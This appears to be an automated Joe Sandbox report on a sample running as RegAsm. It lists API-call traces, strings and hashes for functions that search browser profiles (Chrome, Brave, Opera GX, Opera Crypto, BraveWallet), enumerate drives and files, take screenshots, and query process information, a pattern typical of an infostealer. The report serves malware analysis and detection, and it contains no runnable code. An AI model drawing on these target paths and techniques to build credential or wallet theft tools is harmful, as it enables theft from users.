GetProcAddress.KERNEL32(76050000), ref: 00415A00
GetProcAddress.KERNEL32(76B70000), ref: 00415A1B
GetProcAddress.KERNEL32(76EA0000), ref: 00415A36
GetProcAddress.KERNEL32(NtQueryInformationProcess), ref: 00415A4C

Strings

NtQueryInformationProcess, xrefs: 00415A3C
kernel32.dll, xrefs: 00415745

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess$kernel32.dll
API String ID: 2238633743-258108907
Opcode ID: 30b36923f7cc683abfa8e6bba1c50ec0fbbe051430f41ca833dd4dc26adf1b88
Instruction ID: 943813a7e8cdfaee46e546c6bd2abadad7e04ea3772aa9d505a167681ce51a43
Opcode Fuzzy Hash: 30b36923f7cc683abfa8e6bba1c50ec0fbbe051430f41ca833dd4dc26adf1b88
Instruction Fuzzy Hash: BE71F975511600EFDB169FA0FE08A293FB7FB48B21B14712AF905D2270DB364862EF94

Uniqueness

Uniqueness Score: -1.00%

Function 00413DF6 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 269
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00413DFB
wsprintfA.USER32 ref: 00413E21
FindFirstFileA.KERNEL32(?,?), ref: 00413E38
memset.MSVCRT ref: 00413E4F
memset.MSVCRT ref: 00413E5D
StrCmpCA.SHLWAPI(?,0042464C), ref: 00413E7B
StrCmpCA.SHLWAPI(?,00424650), ref: 00413E95
wsprintfA.USER32 ref: 00413EB9
StrCmpCA.SHLWAPI(?,0042437B), ref: 00413ECA
wsprintfA.USER32 ref: 00413EF0
wsprintfA.USER32 ref: 00413F04
memset.MSVCRT ref: 00413F16
lstrcat.KERNEL32(?,?), ref: 00413F28
strtok_s.MSVCRT ref: 00413F61
memset.MSVCRT ref: 00413F76
lstrcat.KERNEL32(?,?), ref: 00413F88
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00413FAB

Part of subcall function 0040F870: _EH_prolog.MSVCRT ref: 0040F875
Part of subcall function 0040F870: GetSystemTime.KERNEL32(?,004242A8,00000001,00000000,00000000), ref: 0040F8B5

wsprintfA.USER32 ref: 00413FE2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414030
strtok_s.MSVCRT ref: 00414046
FindNextFileA.KERNELBASE(000000FF,?), ref: 00414158
FindClose.KERNEL32(000000FF), ref: 00414169

Strings

%s\%s\%s, xrefs: 00413EEA
%s\%s, xrefs: 00413EFE
%s%s, xrefs: 00413FD7
%s\*.*, xrefs: 00413E16
%s\%s, xrefs: 00413EB3

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: wsprintf$memset$Find$FileH_prologlstrcatstrtok_s$CloseFirstMatchNextPathSpecSystemTimeUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 3694881843-3225784412
Opcode ID: fec0c414f8e1afe49e3107e88059ecf2f4496831816e7e1288457dbc03d5325c
Instruction ID: 5873a142937eda09b2e4110fb57f212c99cef34e8fd1e276495b4819595d2ad4
Opcode Fuzzy Hash: fec0c414f8e1afe49e3107e88059ecf2f4496831816e7e1288457dbc03d5325c
Instruction Fuzzy Hash: 65A18E7190021DABCF21EFA1DD49EDE7BBDEF08304F004466F509E2151E7399A998BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C094 Relevance: 44.6, APIs: 19, Strings: 6, Instructions: 871
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040C099

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

FindFirstFileA.KERNEL32(00000000,?,00423AC2,00423ABF,00000000,?,00423C00,?,?,00423ABE,?,?,00000000), ref: 0040C13A
StrCmpCA.SHLWAPI(?,00423C04,?,?,00000000), ref: 0040C1A1
StrCmpCA.SHLWAPI(?,00423C08,?,?,00000000), ref: 0040C1BB
StrCmpCA.SHLWAPI(00000000,Opera GX,00000000,?,?,?,00423C0C,?,?,00423AC3,?,?,00000000), ref: 0040C269

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Google Chrome, xrefs: 0040C998
Brave, xrefs: 0040C45B
\BraveWallet\Preferences, xrefs: 0040C55A
Opera GX, xrefs: 0040C25B
B, xrefs: 0040CC6B
Preferences, xrefs: 0040C477

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrcat$FileFindFirstlstrlen
String ID: B$Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3869166975-1712999469
Opcode ID: 96257d730ce526c9159ba42439116b6d6f8b04f1d2090bc30aa830645dfff910
Instruction ID: 2935aff20516a059bc5eb3bf57b5c8f1a0087bd47fb391aeb33e6bd4022e98c1
Opcode Fuzzy Hash: 96257d730ce526c9159ba42439116b6d6f8b04f1d2090bc30aa830645dfff910
Instruction Fuzzy Hash: 04829030800248EACF15EBE6DD45BDD7BB8AF15308F5049AEE445732C1EB785B48DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 6CD535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CDDF688,00001000), ref: 6CD535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CD535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CD535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CD5363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CD5369F
__aulldiv.LIBCMT ref: 6CD536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CD53773
EnterCriticalSection.KERNEL32(6CDDF688), ref: 6CD5377E
LeaveCriticalSection.KERNEL32(6CDDF688), ref: 6CD537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CD537C4
EnterCriticalSection.KERNEL32(6CDDF688), ref: 6CD537CB
LeaveCriticalSection.KERNEL32(6CDDF688), ref: 6CD53801
__aulldiv.LIBCMT ref: 6CD53883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CD53902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CD53918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CD5394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CD535DB
GenuntelineI, xrefs: 6CD53639
GTC, xrefs: 6CD53912
QPC, xrefs: 6CD538FC
AuthcAMDenti, xrefs: 6CD53946

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 029b3b03fb106667e3e9cba4af5bce7ba57173efab18d43d82c227b80af52d50
Instruction ID: ddabf6806da60b13b409a7a1001eca57a2f600618e87e91aa6c7d6c10affd9e7
Opcode Fuzzy Hash: 029b3b03fb106667e3e9cba4af5bce7ba57173efab18d43d82c227b80af52d50
Instruction Fuzzy Hash: A7B174B1F053109FEB08DF28C84461ABBF9EB89704F05892DF699D7BA0D770B9048B91

Uniqueness

Uniqueness Score: -1.00%

Function 00414B02 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 163
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00414B07
wsprintfA.USER32 ref: 00414B26
FindFirstFileA.KERNEL32(?,?), ref: 00414B3D
StrCmpCA.SHLWAPI(?,00424708), ref: 00414B5A
StrCmpCA.SHLWAPI(?,0042470C), ref: 00414B74
wsprintfA.USER32 ref: 00414B98
StrCmpCA.SHLWAPI(?,00424386), ref: 00414BA9
wsprintfA.USER32 ref: 00414BC6
wsprintfA.USER32 ref: 00414BDA
PathMatchSpecA.SHLWAPI(?,?), ref: 00414BED
lstrcat.KERNEL32(?,?), ref: 00414C19
lstrcat.KERNEL32(?,00424724), ref: 00414C2B
lstrcat.KERNEL32(?,?), ref: 00414C3B
lstrcat.KERNEL32(?,00424728), ref: 00414C4D
lstrcat.KERNEL32(?,?), ref: 00414C61
FindNextFileA.KERNEL32(00000000,?), ref: 00414D2E
FindClose.KERNEL32(00000000), ref: 00414D3D

Strings

%s\%s, xrefs: 00414B92
%s\%s, xrefs: 00414BD4
%s\*, xrefs: 00414B20

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$File$CloseFirstH_prologMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 1348259030-445461498
Opcode ID: f6104c2dab4da46e311747f8bf3ad63da7c6932830f63ebdb05418831eb1be3e
Instruction ID: fbe28ce515bb2e06a57201ea5cde516ba671c9d0ebe51908e249c56a34eea563
Opcode Fuzzy Hash: f6104c2dab4da46e311747f8bf3ad63da7c6932830f63ebdb05418831eb1be3e
Instruction Fuzzy Hash: 7D513971900218ABCF10EFA1EC4AEDE7BBDBB44305F4044AAF509E2190EB399759CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040FFD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 162windowCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040FFD5
memset.MSVCRT ref: 0040FFFB
GetDesktopWindow.USER32 ref: 00410031
GetWindowRect.USER32(00000000,?), ref: 0041003E
GetDC.USER32(00000000), ref: 00410045
CreateCompatibleDC.GDI32(00000000), ref: 0041004F
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00410060
SelectObject.GDI32(00000000,00000000), ref: 0041006B
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 00410087
GlobalFix.KERNEL32(?), ref: 004100E5
GlobalSize.KERNEL32(?), ref: 004100F1

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 004047D3: _EH_prolog.MSVCRT ref: 004047D8
Part of subcall function 004047D3: lstrlen.KERNEL32(00000000), ref: 00404847
Part of subcall function 004047D3: StrCmpCA.SHLWAPI(?,004238D7,004238D3,004238CB,004238C7,004238C6), ref: 004048CA

SelectObject.GDI32(00000000,?), ref: 0041016B
DeleteObject.GDI32(?), ref: 00410186
DeleteObject.GDI32(00000000), ref: 0041018D
ReleaseDC.USER32(00000000,?), ref: 00410197
CloseWindow.USER32(00000000), ref: 0041019E

Strings

image/jpeg, xrefs: 004100A7

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Object$Window$CompatibleCreateDeleteGlobalH_prologSelectlstrcpy$BitmapCloseDesktopRectReleaseSizelstrlenmemset
String ID: image/jpeg
API String ID: 747104917-3785015651
Opcode ID: 2b102f18fa7afe3248f14c9948527510fdac01f6f01120ffea66e76ae8f9e6fb
Instruction ID: bd9de6ac73f4a7a6f609941de5bab22e9026c4b34cd2a7132d805df9bc5149a1
Opcode Fuzzy Hash: 2b102f18fa7afe3248f14c9948527510fdac01f6f01120ffea66e76ae8f9e6fb
Instruction Fuzzy Hash: AE5108B2800108EFDF01EFE5ED499EEBBBAFF09314F10412AF515E2160E7394A559BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004143FD Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 133stringfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414402
wsprintfA.USER32 ref: 00414425
FindFirstFileA.KERNEL32(?,?), ref: 0041443C
StrCmpCA.SHLWAPI(?,004246D8), ref: 0041445E
StrCmpCA.SHLWAPI(?,004246DC), ref: 00414478
lstrcat.KERNEL32(?,?), ref: 004144AD
lstrcat.KERNEL32(?), ref: 004144C0
lstrcat.KERNEL32(?,?), ref: 004144D4
lstrcat.KERNEL32(?,?), ref: 004144E4
lstrcat.KERNEL32(?,004246E0), ref: 004144F6
lstrcat.KERNEL32(?,?), ref: 0041450A

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 00406572: _EH_prolog.MSVCRT ref: 00406577
Part of subcall function 00406572: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040659A
Part of subcall function 00406572: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004065B1
Part of subcall function 00406572: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004065CD
Part of subcall function 00406572: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 004065E7
Part of subcall function 00406572: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406608

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

FindNextFileA.KERNEL32(00000000,?), ref: 004145A1
FindClose.KERNEL32(00000000), ref: 004145B0

Strings

%s\%s, xrefs: 0041441F

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$H_prolog$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 2282932919-4073750446
Opcode ID: b0c8b7ae24eac6682157a41998799695e6f71d6d7227d656e36b0534f2e1c5cf
Instruction ID: f5f95e9782e1d6d2acc0624df4689b66a9f9b8f06c65df15221fab16912d6a89
Opcode Fuzzy Hash: b0c8b7ae24eac6682157a41998799695e6f71d6d7227d656e36b0534f2e1c5cf
Instruction Fuzzy Hash: 6C511CB2900219ABCF10EBA1DD49EDE7BBDFF49314F0004AAF509E2150E73897598FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A132 Relevance: 23.4, APIs: 8, Strings: 5, Instructions: 628fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040A137

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,?,?,00423AF3,00000000,?,00000000), ref: 0040A1B6
StrCmpCA.SHLWAPI(?,00423D30), ref: 0040A210
StrCmpCA.SHLWAPI(?,00423D34), ref: 0040A22A
StrCmpCA.SHLWAPI(00000000,Opera,00423B02,00423AFF,00423AFE,00423AFB,00423AFA,00423AF7,00423AF6), ref: 0040A2BD
StrCmpCA.SHLWAPI(00000000,Opera GX), ref: 0040A2D1
StrCmpCA.SHLWAPI(00000000,Opera Crypto), ref: 0040A2E5

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

7, xrefs: 0040A940
Opera, xrefs: 0040A2AB
Opera GX, xrefs: 0040A2C3
Opera Crypto, xrefs: 0040A2D7
\*.*, xrefs: 0040A16D

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrcat$FileFindFirstlstrlen
String ID: 7$Opera$Opera Crypto$Opera GX$\*.*
API String ID: 3869166975-536343317
Opcode ID: 8965ccbdbe7fa21c8b48c5e95518cd90e90e5eb32da80421930c88e88c1170a0
Instruction ID: 6ebbf9666a721d3fa03755d621b76116254f33ce2f7126d776e011497cfe0168
Opcode Fuzzy Hash: 8965ccbdbe7fa21c8b48c5e95518cd90e90e5eb32da80421930c88e88c1170a0
Instruction Fuzzy Hash: E742C630904288EACF05EBE6D955BDC7BB45F28308F5049AEF445732C2EB781B58DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0041418A Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 151stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041418F
GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004141F1
memset.MSVCRT ref: 00414210
GetDriveTypeA.KERNEL32(?), ref: 00414219
lstrcpy.KERNEL32(?,00000000), ref: 00414239
lstrcpy.KERNEL32(?,00000000), ref: 00414257

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00413DF6: _EH_prolog.MSVCRT ref: 00413DFB
Part of subcall function 00413DF6: wsprintfA.USER32 ref: 00413E21
Part of subcall function 00413DF6: FindFirstFileA.KERNEL32(?,?), ref: 00413E38
Part of subcall function 00413DF6: memset.MSVCRT ref: 00413E4F
Part of subcall function 00413DF6: memset.MSVCRT ref: 00413E5D
Part of subcall function 00413DF6: StrCmpCA.SHLWAPI(?,0042464C), ref: 00413E7B
Part of subcall function 00413DF6: StrCmpCA.SHLWAPI(?,00424650), ref: 00413E95
Part of subcall function 00413DF6: wsprintfA.USER32 ref: 00413EB9
Part of subcall function 00413DF6: StrCmpCA.SHLWAPI(?,0042437B), ref: 00413ECA
Part of subcall function 00413DF6: wsprintfA.USER32 ref: 00413EF0
Part of subcall function 00413DF6: memset.MSVCRT ref: 00413F16
Part of subcall function 00413DF6: lstrcat.KERNEL32(?,?), ref: 00413F28
Part of subcall function 00413DF6: strtok_s.MSVCRT ref: 00413F61
Part of subcall function 00413DF6: memset.MSVCRT ref: 00413F76
Part of subcall function 00413DF6: lstrcat.KERNEL32(?,?), ref: 00413F88

lstrcpy.KERNEL32(?,00000000), ref: 0041427A
lstrlen.KERNEL32(?), ref: 004142DC

Strings

%DRIVE_FIXED%, xrefs: 0041425E
%DRIVE_REMOVABLE%, xrefs: 00414240
*%DRIVE_FIXED%*, xrefs: 004141A3
*%DRIVE_REMOVABLE%*, xrefs: 004141C6

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$H_prologlstrcpywsprintf$Drivelstrcat$FileFindFirstLogicalStringsTypelstrlenstrtok_s
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 2879972474-147700698
Opcode ID: f65b1a05f62f356a3ba5328aa0113de8bc88cca3174db758b145c9cbec9576d6
Instruction ID: 793c8504ca780a95aeefd191e2ee800ebac1f872ce797283f8330c7f2d0e83fa
Opcode Fuzzy Hash: f65b1a05f62f356a3ba5328aa0113de8bc88cca3174db758b145c9cbec9576d6
Instruction Fuzzy Hash: 525192B1900248ABDF20EF61DC85EEF7B6DEF50344F00052BF945A3191DB385A85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401140 Relevance: 20.0, APIs: 9, Strings: 2, Instructions: 733fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401145

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00420334,?,?,?,00420330,?,?,00000000,?,00000000), ref: 0040138A
StrCmpCA.SHLWAPI(?,00420338), ref: 004013A8
StrCmpCA.SHLWAPI(?,0042033C), ref: 004013C2
FindFirstFileA.KERNEL32(00000000,?,?,?,?,00420348,?,?,?,00420344,?,?,?,00420340,?,?), ref: 004014EE

Part of subcall function 0040FA35: SHGetFolderPathA.SHELL32(00000000,f;B,00000000,00000000,?), ref: 0040FA66

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
